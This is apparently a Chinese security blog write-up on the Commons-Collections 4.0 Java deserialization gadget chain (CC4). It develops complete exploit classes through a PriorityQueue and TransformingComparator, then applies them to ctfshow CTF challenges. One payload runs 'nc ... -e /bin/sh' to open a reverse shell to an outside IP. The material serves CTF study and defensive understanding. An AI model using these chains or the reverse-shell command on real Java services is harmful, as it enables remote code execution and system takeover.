前言
这几天重新把前面四条链子过了一遍更新了博客,颇有收获
也是在快5个月之后重新捡起来cc链了
在2015年 commons-collections 反序列化利用链被提出时,Apache Commons Collections有以下两个分支版本:
commons-collections:commons-collections
org.apache.commons:commons-collections4
前者是老版本的包,当时版本是3.2.1;而后者是官方在2013年推出的4版本,当时的版本号是4.0;两者的命名空间不冲突,因此可以共存在同一个项目中
参考:
《Java安全漫谈》
环境
jdk8u65 + Commons-Collections 4.0
pom.xml
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
commons-collections4的改动
先测一下老的链子能否在 commons-collections4 中使用,以cc6为例,把依赖里的 org.apache.commons.collections 全部换成 org.apache.commons.collections4
然后就会发现LazyMap.decorate(innerMap, transformerChain);
变红了
看一下在 commons-collections3 中 decorate 的定义:
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
这个方法不过就是 LazyMap 构造函数的⼀个包装,而在4中其实只是改了个名字叫 lazyMap
所以只要把LazyMap.decorate
替换成LazyMap.lazyMap
即可弹计算器,cc1、cc3同理
但是, CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化
PriorityQueue利用链
在commons-collections中找Gadget的过程,实际上可以简化为找⼀条从
Serializable#readObject()
方法到Transformer#transform()
方法的调用链
从尾部向首部分析,尾部命令执行的方式就两种,反射或是动态加载字节码。因为 CC4 链上只是去掉了 InvokerTransformer 的 Serializable 继承,所以最后的命令执行不受影响
既然 InvokerTransformer 这里用不了了,我们去找谁调用了 transform()
方法,CC3 中我们用了InstantiateTransformer
来代替,这里我们也同样在 commons-collections4 的这个类里找突破点
在 TransformingComparator
这个类中的 compare()
方法调用了 transform()
方法,compare()
这个方法也是我们比较喜欢的那种,因为它非常常见
继续跟,一找一个不吱声,在 java.util 里面找到我们的目标 PriorityQueue 类
一路跟过去就可以找到调用链:
构造Gadget
第一步,先写InstantiateTransformer.transform()
动态加载字节码,和cc3差不多
package com.example.cc4;
import com.example.Utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
public class TransformerExec {
public static void main(String[] args) throws Exception{
byte[] code = Utils.GenerateEvil();
TemplatesImpl obj = new TemplatesImpl();
Utils.SetValue(obj, "_name","0w0");
Utils.SetValue(obj, "_bytecodes", new byte[][]{code});
Utils.SetValue(obj, "_tfactory", new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj});
instantiateTransformer.transform(TrAXFilter.class);
}
}
接下来是 TransformingComparator
类的 compare()
方法的调用,因为它是可序列化的,所以我们或许可以通过反射修改其调用 compare()
方法的值,写一下
package com.example.cc4;
import com.example.Utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import java.util.PriorityQueue;
public class ComparatorExec {
public static void main(String[] args) throws Exception{
byte[] code = Utils.GenerateEvil();
TemplatesImpl obj = new TemplatesImpl();
Utils.SetValue(obj, "_name","0w0");
Utils.SetValue(obj, "_bytecodes", new byte[][]{code});
Utils.SetValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj })
};
Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(transformerChain);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
String barr = Utils.Serialize(priorityQueue);
Utils.UnSerialize(barr);
}
}
调试发现 heapify 这里没进 siftDown
原因是这一段 size >>> 1
,>>>
是移位运算符,上面的size为0,会跳出循环,当我们把 size 替换为 2 时,才能进循环
alt+f8求一下值:
此时为1,因此进入循环,所以现在我们要想办法将 size 的值变成 2
这里要稍微了解一下 PriorityQueue 这个数据结构的原理,参考:https://www.cnblogs.com/linghu-java/p/9467805.html
size 就是 PriorityQueue 这个队列的长度,简单理解就是数组的长度。现在我们这个数组的长度为 0,0 - 1 = -1,所以会直接跳出循环
可以用下面这个语句加上:
priorityQueue.add(1);
priorityQueue.add(2);
于是就写出我们的exp了:
package com.example.cc4;
import com.example.Utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import java.util.PriorityQueue;
public class ComparatorExec {
public static void main(String[] args) throws Exception{
byte[] code = Utils.GenerateEvil();
TemplatesImpl obj = new TemplatesImpl();
Utils.SetValue(obj, "_name","0w0");
Utils.SetValue(obj, "_bytecodes", new byte[][]{code});
Utils.SetValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj })
};
Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(transformerChain);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
String barr = Utils.Serialize(priorityQueue);
Utils.UnSerialize(barr);
}
}
但是。。。结束了吗?只要把UnSerialize注释掉就会发现一件事,计算器是在Serialize的时候弹出的,提前触发了命令执行,和之前cc3、cc6一样,依旧需要fakeTransformers 出场
最终的EXP
那么得到我们最后的exp:
package com.example.cc4;
import com.example.Utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception{
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
byte[] code = Utils.GenerateEvil();
TemplatesImpl obj = new TemplatesImpl();
Utils.SetValue(obj, "_name","0w0");
Utils.SetValue(obj, "_bytecodes", new byte[][]{code});
Utils.SetValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj })
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
TransformingComparator transformingComparator = new TransformingComparator<>(transformerChain);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Utils.SetValue(transformerChain, "iTransformers", transformers);
String barr = Utils.Serialize(priorityQueue);
Utils.UnSerialize(barr);
}
}
实战
ctfshow web849
提交ctfshow参数进行base64解码
然后进行反序列化
我是java8,使用了commons-collections 4.0的库
为了保证业务安全,我删除了curl命令
下面是我接收参数的代码
data=new BASE64Decoder().decodeBuffer(request.getParameter("ctfshow"));
直接打cc4就可以nc弹shell
ctfshow web851&852
提交ctfshow参数进行base64解码
然后进行反序列化
我是java8,使用了commons-collections 4.0的库并对一些可能有危险的类进行了封禁,
为了保证业务安全,我删除了curl命令
下面是我接收参数的代码
data=new BASE64Decoder().decodeBuffer(request.getParameter("ctfshow"));
cc6链子改cc4的库即可
package com.example.cc6;
import com.example.Utils;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class cc6Ver4 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"nc 115.236.153.177 30908 -e /bin/sh"}),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Utils.SetValue(transformerChain, "iTransformers", transformers);
String barr = Utils.Serialize(expMap);
System.out.println(barr);
// Utils.UnSerialize(barr);
}
}
ctfshow web854
提交ctfshow参数进行base64解码
然后进行反序列化
我是java8,使用了commons-collections 4.0的库并对一些可能有危险的类进行了封禁,包含:
TransformedMap
PriorityQueue
InstantiateTransformer
TransformingComparator
TemplatesImpl
AnnotationInvocationHandler
HashSet
Hashtable
LazyMap
下面是我接收参数的代码
data=new BASE64Decoder().decodeBuffer(request.getParameter("ctfshow"));
看了一圈,cc6 + cc4的链子唯一要处理的就是绕过LazyMap